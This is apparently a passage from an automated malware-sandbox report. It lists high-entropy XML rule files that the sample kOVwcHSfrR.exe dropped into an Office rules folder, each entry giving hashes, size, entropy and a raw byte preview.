SHA-512:	97706B7578F247F8EC9529BE34C932B347AD1C5425876458B3FCF1B04C82C4C05BE01D37A5AA31A17C4938E24D2A377C10E64992B3498B40C0D6029BA52B01C5
Malicious:	false
Preview:	<?xml....&.~......L[K..^%..5..x-/0{b..g..}..4...9T\|.:#......._..\|..........P..9..P....Y......g<FX.p....$[..G.8<.G5.....S.A....{+s..:.....A~...E.......x...A..I.j..I.{%e.w..%V)...2#...:.`....E.....<.9g!...\|f.B......=IS.]...,Qy;"......W..wH;w0...J...Ao:....-.......#.h/Di..CM`..'2Lkl.....G..Y.w..,..ft>1\|..u8..{.........:..K..?.:..HC(..+.0R.5..K.R.....O....zJ.l..t.(.x....\..J S^bn%..z@......?. 5ky.S...........-.q".1..._.....o..?X`.....gd..3......'.Tl....W....Y.bZ"..p...6.....uS..-#..n.....D...2.!.O~o.Fv@k.${....\|\...A2:.u.....r.a'o......R30.T......"..fI34.z....1...!.m....... #...\..Y._b~..4...c..fQ.b...;<....Pt......M.x.<.hs2n...N.~.A%k.......rV..e....A~.f/..d.?.5a..\.Cz.?.fN'.7......$.....`..1...4./."D..<%.Bc;.R.....Y3>......@m.i...~.....8.........7P.-..+.....M."..o..r.Todx{$..+.2.Z.d...7n7.yS.......<8m.vo..l.%..c.:L.<.%.I.u.....w....r..G./..<..=6U.).o&D..un.Ih......'(.U@...@.p..P.v...-..[".....R6rH..x...h.......;>l.6\|kP...)..T0_Xo..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.878309956516782
Encrypted:	false
SSDEEP:	24:kqAR/XJxsE2O72Mg6u3f4BqsmQh5TZ359SdnmlVRZkCnu0LjSNRgOr8riNFpLpQS:H28E2OSSu3EfbrFjS4lVRFLcDNwyD
MD5:	0266BDF0ADD3C8E71E2622F12D3E6415
SHA1:	8C8D3E550329D01F8BF733990BF0F91FEBBE2272
SHA-256:	8C602781AD167ABB6C5BEC937F96C3E7A761C5E6D8E158BEB3969F8A229769C3
SHA-512:	C1EF8E41F67BB28709FC7A52409854E7F53F56D14686BAC630CC56937B0A2EAD984FA78B4C1A5CC326EB18BC1D121ED2D9F03BD41713E7368CA4F0D2D1A23179
Malicious:	false
Preview:	<?xml.:...l.....u.kz....i..G.....9}b..w.r......\d.L).....@....x.p(..!+...-..>.......<2iF..G8.Y._.G.,..h.]....&gw.i.a....m..w.4~X..3mtY........#...X.b......8.}.v.5..q+>.3 .P.f.S.D.\|+]...Qs7....[R.N.%J...'...L..L..Xt......q......t.i....qrb.jf..:-....^D../'..O..+6'I...zt=..gY.pD.X.\|F.ew.~EN...)..Z..r&H.j.W.".+...."..m.....au.A.U2...3Gt-3.t...k....pr.....y..........\|.......U..~7.8....`.~........)L.......h.%....5..oF..(.J....MR.@.\|k.nh.T...r....t... V.2.....C.k.........$.8r.....LE.M.ZS..L...S....L~.A.x...Bu......Xd....6.._.g....#+.....X..u$.S.....H;.\....Q.E.YnlV.@R.m..-.t.i.....?PJ.<H5....9.;..va.9.V.S>..x....?d......=!..<*..f.q......6~...^.9.nE.ps.U.:\.-.5.....#J:...sIk....).U..?...!(M..(.r,..sc.V...`..W..U..V&.....j~.X.F.....TL>.C..,X.PH.....^.piT.....E.@.=6#.+:{..._%.....}.......;#..:.f+..rAk...K.....Q@.. .....8KZ%.M.$....ZAE.-....TJ-C..c......7..x...Le<PTU.....&... ....G......=.'.....o..M..2.N4...).....$..I.=.6.._.$...Y..`......b.h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.881709019139655
Encrypted:	false
SSDEEP:	48:E1Ga6QqE9S3E0U0T7dVNfI9NS101LYPw2wb15syD:a1W3E0U0Tq9i0aPSLsa
MD5:	D1338B7BC01453404E437F93287428F5
SHA1:	FA49BCCC85FC77B4BB7FFECB1A911A2BADF59EBA
SHA-256:	DD375D11C11183093B9F08B6F341BCABEE7FFB1E702745D7F3F3040D24939088
SHA-512:	2066B5CD9C3EB294CB7F1DBFB0BBE15F74A41A0C8AB4FBA4AEA7B893801653CE11FDE9E62FAA91AF43C7BCB708AF8ECE9A90FD0CB30B937E6CDBE10D54593949
Malicious:	false
Preview:	<?xml.i...i..=3$..q.+S....BN.I.C\|2.....kQ...296.c._wON..C...@D.s.Z......;3+..4.+]`l..K....T.....B(i.?)/....&.(....7!..Yz..,...o.....K..m...uzl5!.k..I....U..BT..uJ.T...O...`..[k?D..s.....X2.P.2`K.o.p..\..{..fA'.2.r.<_.S.i.pC....Al/...\|..6.g...x.I...\|._c.>\|p.g...N.^.%.......[#.......z1.~WF...d."Rm. .......e..:Y....<...@.............&7LSt.^....^.....P..[=`...9.SWe1..^.S.P.L...."i....l..........3=S.C(.r... ...%..._.)~.A..J;AV.1....!......=..d.@...d+.....t.7.4gQ.\|.]L....%.e......m.. ..KA...X.y.~p..../H.UPbA....Ug:......Q...Y............-..;#....NB...L..D..H(..p.\|...h...9.m..q.y1.......X......R.s`.+WbP;\..!..1.g4IXcIO..vn.D].vH..b...D.K.....C2?q.Ey>..(4=h'y....R.._...LdBe.._@..6.'c...).*..^.y.......)...M.8@..1........d.2.a..}...D.._.4h.W....}..._...J$.}..hS...T..K).BHP..TA....\1.h.>+,<:.YG3......J.....j52.......!...O..,.01...]0k/U....W.P^.\...,1...l...T.......Vz.r.).aI3....t...r\....ASY...3~..4..^Z0cGq..5R0.Xq...z.z.........GU...d.'...L....o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.869773645535952
Encrypted:	false
SSDEEP:	48:A+XDWJkBRhA6QXiI7CuCxWtjdmv683spEDyD:NWsE3XXntj0L3QSa
MD5:	8B30A75F89B31B9D0409D6C56F75B2E3
SHA1:	F047E3FE8000C766CA60D6992F63BA304F777266
SHA-256:	44CBE7C1ED7D15BC76670FA68C121F7A1D831F75310139A8BF19378551E44B1F
SHA-512:	F3EF3A917953BE288675D181CBCCA3FAE35A5180AF77AF45092B96261F4D69CBCC55C378F94327460BA80C3745E3AF663325E5E91DD2F778D2ABD9D0BB8C5385
Malicious:	false
Preview:	<?xml=...>$.V....<...7...e>...?y.H+....-...e...3.\....+..9vs..yn.g).`..r3R.q^..U..........OR.....>sp.....,.0SCC...a..7{H..].0.HH.......j.......C..g...+.[...^is...Knl...IA.iT.(2..0l.+}M...A....~\|G...'..JYBg..v.9.f.........J..YA2@._..6R.e.....b..7h.....r.......ci...}otq.#.@h..b.ik..&..R .=..`.Q..>..).....9fX...)"@.x.Z...Q..`9`........x..'._ip....k....J.I.).&B..-.1.....,..KJ....`.g.>y..6}..!.jd..Ie....y..%.j.SP.d..%EA,..\|....\|.z>...H..1.{...#....4.....g./.#..C<.....O._..cw+6c....l.....V........W.>l..h$..lj..t&.A...x...:+T.....?...Tp......VT.X.l.f7...N.\.......&.s.yu.<..-....\|^...P.L.x..H.Aqo...b...bc....._>.h=d$P....u..]...t~i...+........:..b.!.r..\.p.#O...}.....%...6,.M..G&H...U...9..7=l........4.l0......v[.eJ.\|.....CE*He..O.......l.+.n...ri....!.......{..]..0J..7...=#.fw..C..}^..w.V.A.3.....4....l..f.v.j..Cg..]..oL@9......`...x...~K.v.l..F..8(y4%.?-Z,.i..b.%..(.>..;.....@...l..V%.gI...e......!.8.7._...;.L.2.;w..4)Mlf4.<MS..H...".r.Qh

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.874030788354009
Encrypted:	false
SSDEEP:	48:NlnbHjUrXKSedsumLgVZ/MPdz+v+YvyCy2J6KrNrvyD:NxLjUrX7Lg+zg+YvRTrNrva
MD5:	8CAE322FAA015E197FBCC37172739091
SHA1:	9D648C13FCB0A29F2980A2BF65D5D59EC0DDD2E7
SHA-256:	0E02703BCB0E6325B9A21F81E1659EB132A306D36C6ABBF7E37B644795C1AA7D
SHA-512:	A419186C6CB0F2BF6950EA3FF1A8E5792E114F79CC6EB9777EC1DA0D0AF10C2DABBB638040F20F390D2D6ACB9829EA3CEE7A851F37109F332D0B295AF568DAEA
Malicious:	false
Preview:	<?xml.E....7.7.LO........^e..<Y...z.=.F;..)\|.^.......Yo..ra.%b..U.X0Ud...Lgbhu<.\|..q..?2.w..U..9.??....N..i AM.._.X.XLo[.i.vX.{.S.WQ.!.e..uYh.z.r..C.,,..k.S....(~.J...+X;K.......-=..<.......s..1..)b.4.x(..j.... 5.F..t.....3./.6.......hv.l-...ea.FX..._g.W~b...m.i...X..f.L\|.uZ...U\|.st.}.x-f.?A.......X.w".....'.b..kArl.i.E....g4.`.l.#qa.......v.$..IXn.....K.t.qe......&..#aD..@6.h..&_`.t9]............4...g.Hh........G..w..4...........?.c...$g..@....^U.......^..Z..'...zCRUh\|...g.MKE..../$S..r...8/.....=I.N..9.....\..K!...)......s.A.....P9............_..Ie.[4.....j...{.?.....I.S..5......e.)#l..8A%...o.......:.....{........I......W.....z......NJ}1..x......^qm.....8c{...!....#.2H......}rE....P...)'.%..sC]..d.m<.~\.q...xI.....n...........d....Q...URxi&p....,.e?..r.7{H.%.>.w$..(.....3Wl.[7.y[..8(."....T.\..]............Um..g1.....v&.L.!Y.{l..K...W.o;.?'.z.G...(....".m...;....@....q.&S...da. ....L..U...&.......Mk..R..Zg!.+"..ne..59cE...zw.SX...Q...?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.877167694952403
Encrypted:	false
SSDEEP:	48:PtNppfRHsVM0YKvOy7m+59PT9uP7bKhVvgYbtyD:FpfRHn/y775Cq3Jta
MD5:	F9F919BCFC37AB1C4F6099E854745489
SHA1:	F518350C39E20F86B5DAA04C1B75669181366C6D
SHA-256:	B1FE68FE050622612474BACF0251C0B006C2C6FF3C48BBEBD54B507DA74D6788
SHA-512:	EBF4C3221A07727B6D141736865C4C42FB2D32D8833EF6530EFFC3852A70450F1E7FCDCE549BAA5D513D9FC9313FC1C437432AE06E784913A5D7A49884497B32
Malicious:	false
Preview:	<?xml..55....FEq..@.RS$!c,..&.j1#%.,k1.^.4.I.l.w......wJ.8e.E.;a.Xc..~.....(n......"`..n..dg.F.=9..=.wn.....^(.x...=.......e.Qv.5....6y(h....>...-..W.....WJ"G9_)c....Ti...4n...mY.ER.W....$.5.X7A..Wp.E...k..\X....{.5T..5i..q...o.qi.wq.6aG\..Hx.E....P.].7...d/.. .5.~c..H ".....B..2..^.g..?.q..F.....Pfv.g,)..c.<...A.k-U.O0...N.....T3.$.1D..._..4..p.^37.....{...\.ll......Z_h...j.(......yvv>T....$..4...J...FP....E.I..\.....[..9.!.....E....8...$.k....1.^y....(j...7....)..)....I..16../..6....H.;..)...........k...h.3._...{..2..#K.. ..P......R.....R../...a.......\....4c. 1.@...,.h..0@....oO..&5(.\jN.'..c8..=6...2..J..5...$...e.1...c ..~i.D......1U..E. ...K....s..."bY..G.1...j.$.............a..S..<.p..pd.x^t....*..Cz.)U.^.[.5..&h....G...X'..<C.m.....Tz...6Q..ti.........{..........9a.\.c.1d[....."\|.C.Q.s..d.....4....p$..B.#.........a.....C..<......(...9.9..m.N.....%...KGq..u...BDv.x..e..wS..<..j..8.r..w.......m.D.Vt.......1.P.t.....D1_.EAtlp@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8888198033723205
Encrypted:	false
SSDEEP:	48:TyqtI/kJA0f3UNdKkLMRhIkiPWeDAVOEyD:G6x30K0MvIBdAja
MD5:	55CD211259C18E989DB8B2AA12116C5D
SHA1:	7ECE9E8B120C522098ED098AB582BA224B82B35D
SHA-256:	5FCA3D1FD1D5AC0A6F2F6318BEBFB00A094750BCEF078D2C37BA58EF974ADABC
SHA-512:	280328353336651E89F2F885FF59BC2B248E8C434F2892CAD25C04E9CD664259503EA38162D2A7B312896CD523370B07ECC14127749BB38E7CF2306E69BCB4C3
Malicious:	false
Preview:	<?xmlhEY.:...e.....^4..a..d4&g...V...7a.O...fHE......GUM.2Z..._Hk.C .}..C.......&.d.'..F.)...x1...V..pQ.B...`..h...[}.kw......;C.^..$X..>%.-..op..G.6.`R#`.....ZJ:..d.5..RL......5..!og..'.c.C.,.>....,....n7k..r3...T.."......EJ ..&z9...#.tcK?._..r...TG..6=Mf&..Qn......n....S.B1....}"v........;......Pe..u..:+.%.:S.n-{:."M...X.zU.<}.....K..f.P.Z.=.q"..X.7H.jO..be9.....i.g'.=..h..!u..7.......h...[....:..I..}....m.....&..._..[].r0...F.L\|..{.....v....P<v...).U.."7...."......K.M..@X...!!.c.Kj&.B...B.p...9...vO..M....q./.k.?h..?<...A.K..tX......NB..LZ^...,=.Q.md`TC.s.,.&.{.Z....m..{....g....E.e;.)..g..^.~_..l?=~....ng.\|.rR..V.[<-.W8.d......4.R{.j..b.R..6~..5.K.5.#............l.n..G.......f..M.5....Q..._..)N..d.d.[....<..:Cb8..vl.\5H.A.....'.X.o.&0.C.8h..P..._.R......aM.ri..MH.a.C$.~Y.P5..S...B1._.]Q5.%9..:sHe.ng.l......3..o....\_J.V.......VT....`. ...[_.....\F.cI....Jy..i.k,i.V.....^..Z..i../..v........G......I.......+L.j....&....U.Zp.<..~..S..j~..9P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.860235899464391
Encrypted:	false
SSDEEP:	48:rFwWM0tDas4XP5aWANytVxdJUTp4M8chyD:+L0z7XYJ0iwa
MD5:	B23A88D5120E96CA772973346D5FC4F1
SHA1:	8D9001CC1BFDB3FAFC1C4D549957A789555167FC
SHA-256:	1ED1239EE49EB61DE95C0360B7D1B1C20C4BB05C40570491B8A1116162F76A84
SHA-512:	2A6274F89232441DE259C7D2CA5FF6E7871921541867F5DD38354830313EEF4FF44A7FB5D1F01FDDD856CA557664F2A9B402B12FC09CEF37740C65AC450F7689
Malicious:	false
Preview:	<?xml7[..`.(.@..i.q.....v.Q.....tx.<..(5....(9k.;\.E......G8.....\.R..kT...<..qB.5...?.._2.._.....cn...L.@1..Y3(..../._...E....,2.v-...+.H.9bz..0.%.7U...."..(.gR.......x;.g.O.2h..w....,e.....`r..#.n_I%u..I .L.6.`.....A..U.hk.:....)..#.fA5.es.f..-.).}...'I..%. ...C..+8.t..&..w..Z^..).G...}s..6.qd...h.bg.q..sm9..../f...V.mp.[.:WgX.".U.Y..+.....Kg-\....>sY~#....._.......3.X....W(...>..iY..9.qjyN@..g<.b..j.c.%..VD.#.8.HC....a.wD/]...v.j.Hm\.....q.A.H..Q...d..?.~B..o0y..rB......B....,RtFO ..0jg.bcZi...0T8........f1.q.V.$......0..U...\O....`.o.h ...6Y....fa..4....{ %:...M.[..=....jQ%.2.+...m.....OOUt..8d.Z.L;U.}.5..c..z3...{<xY..i....H.[.b.....sC.p[g..../B.FLq.<..K...k.i.u.D"N...._V..1.T.}V5...#.d-b...4...L.....u..%{(.....N\|8..H....u.h:r/....N..)w...=gT...\Z..)........C$........`2 ...q.^5..'.....+7.fq..!WC.xU@-.7.=...+e..he..(.."......(....A......I!......,.q.M@......A.s.O;ki3Q..z.....5.....I.@M.+.xO..2.....>.....}..K...B....E......?3...M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.875849317950824
Encrypted:	false
SSDEEP:	48:4OlNPKACUpyOItI9wbIb9a+rKs2AmGf+Wl0trv+KJWW4yD:LPKqUnKS8Ja+rT25GfBlErmiWra
MD5:	C745C89B0337397B3F40DABB4F98AB6A
SHA1:	A9622553DB5EF615C3FA0BBB2D4AE7CF7C91F7FD
SHA-256:	8F68129BB1AC04117487F634616673671CFDD2FAA1A2AD17A4C9C90568EDFE60
SHA-512:	A35B9CD6DD9EEA129E030ABFEE732DE1A4D40775FDF475FAFAD832E3290DC4229FAEE7C6A86548C0ED8E63FD76904069A5D7A9718D5E6262885A64C506D9130C
Malicious:	false
Preview:	<?xmlO J-.P;..S.c..p....h.9,.....8.R>.j.^....v1.g.F7j......^..o..avz..W&Es5.2Hp.....g...K...jH.Y.Z...9R@...a......i<+.}.b......\|...R..T_xX.h......H....T9....k.........N.5.'p..6.)&..p..F.T^4...D.....$>x..gr...f5k...6.!.k..ih..:...Z..._.....]3.B..b....j0../>.<.`.<`m,....bX.....z(...q.x..e.Vm.)8.t....h...1.w....Fw.......Y.1..sg..@.!i....8...u...W........Ew....n.54...q='.h=_..%...k..'+c2.2.Of...@...70+.q....p.H...3m....)..\|..>..........@,....DX.etsF..'..$!\|R.... m....I...2...a..\.........W..f. ..({)o..d..S_..9....L.;)..p.B4.....8..{.Y.D........./.y.;.?..+....%.-.)..].mf[k.9...Jm....4^...]...f.A.A:..(.o..n..G.l..Z..[..},3...,o.....IR...o....@..C.>...\... ..7.%/TB..U....H....M.).....Q.s~5h1.$..n.Y!O^.hJW.g...<.....R..B.dI...W".d.8..Z.@.Q.....(.R%.Y..+.....Z.%.g%L.....^.x.t...t..@.....Nu....$.%4.N=".....)k.[.J.a.....i..?0..ljD...=c.1.X-ikQM.3Y....k..C>....M.5.z....g.D'.........1.,.....${.I.x.),....L_..G._4f%.m'.......8L...<...cKh$4M..M._bP..}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.904584499840338
Encrypted:	false
SSDEEP:	24:o2lzC9ZRTRk2EJaN11ZQPRATjrrHN4LplNPWKnZ4EoHa1O5v5glb+19+ZV9ZdXwd:jCFVfEkXHSETZmiC85BYb+1EZVNXyD
MD5:	42A0D677600D34355ABC924C792BA632
SHA1:	9D5DE7519AF8BD33DC5712CD2FB3CACC49DCD563
SHA-256:	9D95B80E75466C5BC64E80D1333B8C8FFB1CBDA0901DE3F2FC18652310DB9D39
SHA-512:	C557D4B0C67829408BD0165390FD0BC6590FE35B360F9633B1CBE8C210DCD71C1FD9E790998FAA5008E0B61D4B65ABC3497386733F8B8D7ED2E297AA7093C52E
Malicious:	false
Preview:	<?xmlU.i.?;..{X.C$Z.).....'..p.,.u..N+Z=6.. ...;.?...6c............x.=Ax<.^..xk.R..:.K....R.;I"<....K.\.]..'#)Vi.G.}.2.[.. .....#he..9.f;Z:G/..-..\|..o[.1.y.\}=#a us.=..6.............`..>....(,kDf.........p..q.a..m....m.j.....y..!~...M.....'.c... EY..y..r....im.<...z6...O....j()..I.Im.L.y.....k35.}I.........#e.<....,.y04.]]..V!...i...>.#....yn..i{.....3....O..4.....6S..........o...........V]..g..".J....)5,....Y..d.{......oK.q..b7..x.....w...D%]Mx/..e9.>..>w<..Q"Q.....~....`q......[h..j.H[^.I...-...L...Y%Z...t..X...\|.K(..Q..V,.Iy!.j..%.6W\...m.I.wB.....\|^.E.7h.WxJ~.a..{.w..:..1!f.(.....V......1@...jN..C{J........:fL...-..%.W..-t...td...zj..).%........@....#.....>.C.).]..r..f...".yZ..{....9i,u.N.H.K.L.X_.......>)*......i..$...y.?..<.....6.Y.Y.D.?..(....z..d&0.....D.0.@p~w..=DO9.a/...E....0..%.\.4.]....-4...nI.....s........zj.5.F=....G[..7....J.'r............v..........^..U....a.....f\...:(]S.....c...v.....Q...x...+^.....05-..s.?}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8755640484566465
Encrypted:	false
SSDEEP:	48:mkO484zZzp4vwGXu9F7zgNVxEFuqw2X2Ze3r4junyD:64ptVeTXoEN3iuqwo2U7Fa
MD5:	C398510A340BB72E014E9A585ADED746
SHA1:	FC13EC89F3A3E0AFF75E6DF3254A7D6BD5C18687
SHA-256:	4D7CA0202F072B3CAE03CC2A234E9C02460D8F74732577ECE4E9103981C69AA7
SHA-512:	715E943D74925DA322ACAFD5B33E79F7275D5E97743C042807ACBDB7D8672DC022160C62FD0A2501DF66D57F1F499AB4512F10374A2C322999EF0DB2956BBC0D
Malicious:	false
Preview:	<?xml..5()...1.T......G......me.V...\.....S...R.D..e......8.....n.s...0..@.W...S..d$..R.sns.R..%..~`T.s1..9s4W.g...q.-....t.7E.,@..o..8OB......"(.U.R.5..V..f....K.$Jw.vg."..]".4...%i.....%.c.h."g#.sP..ya.)....y......@J....ao>qzQ.e..P...w..u.^...EC...B.."...s.e0ZI..6...W...o@9s....m.....2.j.#.Z_Q...e.{F..+.......l..u?<..1H....xe.\|.4..c.v\8.+.../._v../....-#..}.v.'i.....R....%.E........q...F.#<.......Lk%......R.i.....?0..'r}Io....r..Q.tsF...!h.+..ULr............{....p~.Q-..L6..........\|]..[q..+.....p.J.5.u0..SC.Z.\|<..SI5...aX..*...o.?.;O.........6..zf..<I.GP... ..]...n..Mx`..w..j...O......3.d.....7.e....!........O...9.`..>W...g..#7..7/t...A..j...U..[..pJ....>?M..D.z.2..Wh...%...(hOC....W.(.1.L...C.......i.b,.F....MU.......4.D1.x.T.U.(7..~._.5..6.~..HD....V24..i.j..[..\|..Z<^.7n.ph.x...?.....r.....c.\...S...\|...L....W.xv.0(....[M.O~.<.E+...=..J...C{...@.... .....m.....;.......".e..M]J+....\..5F;k...$#..@J."!.!.....1..<..%.GC..1M=..!>.z8YE,C....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.867151645136897
Encrypted:	false
SSDEEP:	24:oblEFt3GMzjV7VmKlYoippa7xJWXw9GQ5ej28pewfibe5S3ACbBz5yGllNy+P8zA:AWRmKippLA9evTd5Q1yG7Ne5yD
MD5:	B85D32258CB393E78A4779EEF567F14C
SHA1:	6A621DF6DD83942B3F348B5A115E7B0B667E5DFE
SHA-256:	A1EDCA23DE9741E6E0B11214ACDF3D94BDBFD24DB7437B8348CDB236571DE9D8
SHA-512:	A643B36B54317F0980F8334BEFF482678467509A57D40949913731DDBBE3BB8481A894A1E0E48D9A3C23609E01D6F2967860F9F2C2DA9EAD7F575E248488A5D4
Malicious:	false
Preview:	<?xml..H...C..._........Z.Q.iC..K6.....gE..@..#>._y.f...!.'....y.....b.o.T...]..........a.N."..=,..z...]PR^!.X.....?.b.1.Wv.5h,.....wW.........%........,&\|.].l....7g.]..x..L.-.UH...!...F.U.......O..X....1u0.I:a..~a'.Bn4^.....d#M.(.k.3...J.O.H+.{..p..v.....;.x!..h....~n...\.]`Y...f.....[.mX.tO5...~.r.....:D..Gv.C..y$H./.O.....hy./_y.{..G.]..uJ..y\5...Q..u..B..>W.O_.......W...I.L.....3..cO.........rZ.f..?SqJ..(..?.N.i. 2...y69.t.&R.._........c]...:...b+&5....`H.\..2..u70J!...3K.er.w.5...2.Z.x..3.s..}f:...-..n.]A...ow.-c1<-.[V.nu.T_?TI...{.~....I....k......C...7.]c.3-S).IY..-[H^.Jm@...R.....w.....C.d....)L.'..p...."..:%......b}d2:.pv...6.U...C.G ....q~....=..@kI..R.NS...<<)n.mIp..U.?$..I9N..).'.....&a..-?..4.T.CQ.F....g.o...3.\.' ..L.B16.d#)_.h..#.R......%.j.9X...&...TQ..l.\|...`.X...J4...#.`+i...I..\|7.......W6'P.....V..,..../.5?....D..7$..uz[...[...&.ZTp..b.,dV.g.bHJ.:.."....@I.m..+n../.;..H.......%...J-..a...HC..^v....P..<.y{....8(....%r&..p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.888145149069832
Encrypted:	false
SSDEEP:	24:2/MTwTX4m2Bb+ScTXt9sCDCzqP+V9RpAvoWM5fTNneSf7KLxr0v0RRcZ/w1bD:g740LrsFzk+V8M5L9elrVcZ/yD
MD5:	4C21B87DB17A40F0CB386A7AAA42CD38
SHA1:	578E32388141E8B902E709D15E3A57BD0D04AD4D
SHA-256:	9290EBB48BAAC0E7AC7FD30289B1415C560B4B193686BB34D8751B80C9CA89CC
SHA-512:	88F89A9173A2EBC37019F7294CCEB34CBB1538DAFAF2386FA241E7C1789A53124FE1E805FDEEDD2BF21A25024B356DBD35474A847900901E9950157E19CECD0F
Malicious:	false
Preview:	<?xmlh.j..7\1...p1.....U.y..h.{.ca........W 5..........i...:.$.q]...J.......b......0x...p...2.g.i.W.@..Q.H..b.v...s.\..N.q.oK..-.p.....O........t..Q..;.x5...pQ._.{.wA....p..2..M.....W=^..']X/...N..=O.....`BV..=..Z..V..m~\.y~.S..^o.....mN.st...\|.....+R.....Fd.{./p1...,X$..{.....e.K.@"......=.c.B{9B.v.Ajpx....T.Z...8.........-..p..jX.{.uh.;]......h.o:.G..p.3. .}...5ww~s......?..;..-s.'..D..A.............B.6%?...K..>-.d~s$?.Ne...B....l..m..u..u3.e.@".:.....*..p.%.I.....YQ.XQb1..y\.,...z....%......Db...n90.jz..-..Q...s...........j.....L..6.....8......pE5.1LG........5.?V..?.S.b<..}-t..`.h..&.....{U$..9..pHVwf>......=...`'3.@.RUy.BP.[.7.}..e.R.0.w....e(.1..L.0}Kw..P.Q/I.D...............3..\.N........]Q...G...HO..F$.x.eH.Zt7ML./...G....M...y..?E..a.......BD....e..eB.].X.@..M\|......x..r.@..5.}.d.....L2H.M.t.\..\...:.M....e.;.......X.{u..d.B...n.`..j....7}.v..&..nD...s..7b...$.".MJ=....P..`.?E......S6w.t....h..{........y.....i...-......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.879250860847199
Encrypted:	false
SSDEEP:	48:t2CcOQ5raaFDUtp45XqFvZ6si2eMgf9ahhY9r8fKEyD:tlQ5raaFotpRF3peMgfIbY9r8fKEa
MD5:	9BA120640C1846BD59BC7BF899AF7996
SHA1:	CB6F6E56A677A67E3D0D9598D4A319635CB720C2
SHA-256:	ED67053130A6CD97C8D63E141419D3C27D34F98663AB8126AD74293FD7FB39EE
SHA-512:	506ADA8546F3D89051C8EA106AF98705A05D32EED24FE09C5A6AD9E55D1899386695856ED16577198D907B30BE24D00CC5885CFD3972593D73CC8B69ECD50B45
Malicious:	false
Preview:	<?xml.......M...G6".g.l...0.9...!.f....2.......YH...Y..2...Fx.,...3K.]D....=X....6.fXM.G..+..d.97..;.......Gm.L.......MqI....Y..J.}......Y...4.L9t#..Q9....Z5.`.....Z2"P....:.Qn.{.I.l%.X...l....#.p..1{.c...kq..)...V...>..Ag1o..d.^..o.F....H.'.FWTI...?..."E......./1.eD....9y.<Z&p.\|\.).U......imx.=..$...\...!..].4p....([.9.S{y..<..v...w.7......##P@.......Bz...2'..19.......p.../...0..p..v..u....\zy......k.......#Ym.....GA...J..Q.G.j..%..H..B0$h,......(..u.....80...Ur.N_.]b...f.,.yE..{...9..(.......$M...A...ef[.:.X.d.;....4R...O..Lt.......].!K.......v..Q..J$Q...gV....`0<.5G...V.x....R.I...sM...bT.X.6)..'.@z.Q.._}.v.%;.=b.....$gd..X.`.R....(.^..A...Kp.....z:....]X).......zl....:e.....Pc`..S46./....%..!l.,....r.w../..v..9......Ws?:.........8.m.k.w&`....G....D...l...,E<.\]i.].gZd..e.s....-.9.j..<.t;.P.......qU...%*..`..N#.`..%....e"%.Fo.4..VE.?t.k.t..;U.3.....K.a.[\|V..(.\|.h......U.....`Dk..:......L..C..h'.+!..?.....BM.%.71'.m...-%..\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.879997731549256
Encrypted:	false
SSDEEP:	48:FolNFwnd4QlAPPBL5Z+Ca+IGrLoZcfbUpNDCnLtyD:FolNFI4qAPPBH+zKXta
MD5:	359C5DFBA77CD6F112E03187935E18B0
SHA1:	249409EE883B3D02B5ED43A69C32B8679891BD31
SHA-256:	53D3048BAE40C86C7DE0BDAC861E0571FFEAEFEF22936984AAA1ED56D7D24BEC
